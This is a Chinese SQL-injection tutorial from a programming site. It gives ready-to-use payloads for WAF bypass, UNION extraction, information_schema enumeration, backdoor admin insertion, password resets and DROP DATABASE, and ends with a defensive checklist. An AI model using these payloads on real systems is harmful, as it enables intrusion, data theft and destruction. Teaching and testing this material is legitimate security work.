首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入實戰筆記:繞過 WAF、Order By 盲注、Union 查詢、跨庫表枚舉、數據竄改

     編輯:MySQL 資料庫相關知識

本文記錄 SQL 注入實戰中常見的 WAF 繞過技巧、列數探測變體、Union 注入進階、Information Schema 跨庫枚舉、DML 竄改利用,僅供安全研究與防禦驗證參考。

一、WAF 繞過:Order By / Group By 替代

當 ORDER BY 被攔截(403 Forbidden),嘗試 GROUP BY:

-- 原payload被攔截
id=1 ORDER BY 100--

-- 嘗試GROUP BY(不在規則庫中)
id=1 GROUP BY 100--  ✅ 繞過

更隱蔽的列數探測:

(SELECT * FROM admins) = (SELECT 1)
-- 報錯:Operand should contain 5 column(s)  → 列數=5

二、Order By 不報錯的陷阱

ORDER BY 1000000 不報錯 ≠ 表有 100 萬列,往往是**注入點未生效**(如缺少閉合引號)。

-- 未閉合引號,WHERE 子句語法錯誤,注入失敗
id=9 ORDER BY 1000000--

-- 補上引號並註釋尾部
id=9' ORDER BY 1000000--+  ✅ 正常報錯,可二分查找列數

三、Union 注入標準化流程

  1. 確定列數(Order By / Group By / 報錯法)
  2. 構造 UNION SELECT 1,2,3,4,5--+ 確認回顯位置
  3. 替換回顯位置為目標表達式
-- 獲取當前庫用戶
id=-9' UNION SELECT 1,2,USER(),4,5--+

-- 獲取版本
id=-9' UNION SELECT 1,2,VERSION(),4,5--+

四、跨庫表枚舉

-- 1. 所有庫名
id=9 UNION SELECT 1,2,GROUP_CONCAT(schema_name),4,5 FROM information_schema.schemata--

-- 2. 指定庫的所有表(庫名需 HEX 編碼)
id=9 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=0x62697a5f6462--

-- 3. 指定表的所有列
id=9 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_schema=0x62697a5f6462 AND table_name=0x61646d696e73--

五、DML 竄改利用(高危,僅授權測試)

-- 插入後門管理員
id=1; INSERT INTO admin (username,password) VALUES ('hacker','md5pass')--+

-- 修改管理員密碼
id=1; UPDATE admin SET password='md5new' WHERE username='admin'--+

-- 刪除核心表(毀滅性)
id=1; DROP TABLE news--+

-- 刪除整庫(極端)
id=1; DROP DATABASE biz--+

六、防禦驗證清單(給防禦方)

  • ✅ 所有動態 SQL **強制參數化**(PreparedStatement / PDO / mysqli_prepare)
  • ✅ WAF 規則覆蓋 UNION、SELECT、INSERT、UPDATE、DELETE、DROP、Information_schema、HEX、--、#、;% 等關鍵字組合
  • ✅ 數據庫賬號**最小權限**:Web 應用賬號**禁用** DROP、CREATE、GRANT、FILE、SHUTDOWN
  • ✅ 錯誤信息**不回顯**前端,統一友好提示
  • ✅ 定期掃描代碼庫搜尋字符串拼接 SQL(+、.、||、% 格式化)

理解攻擊鏈條,才能構建有效防禦。參數化查詢是唯一根治方案;WAF、最小權限、錯誤隱藏是纏深層補充。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved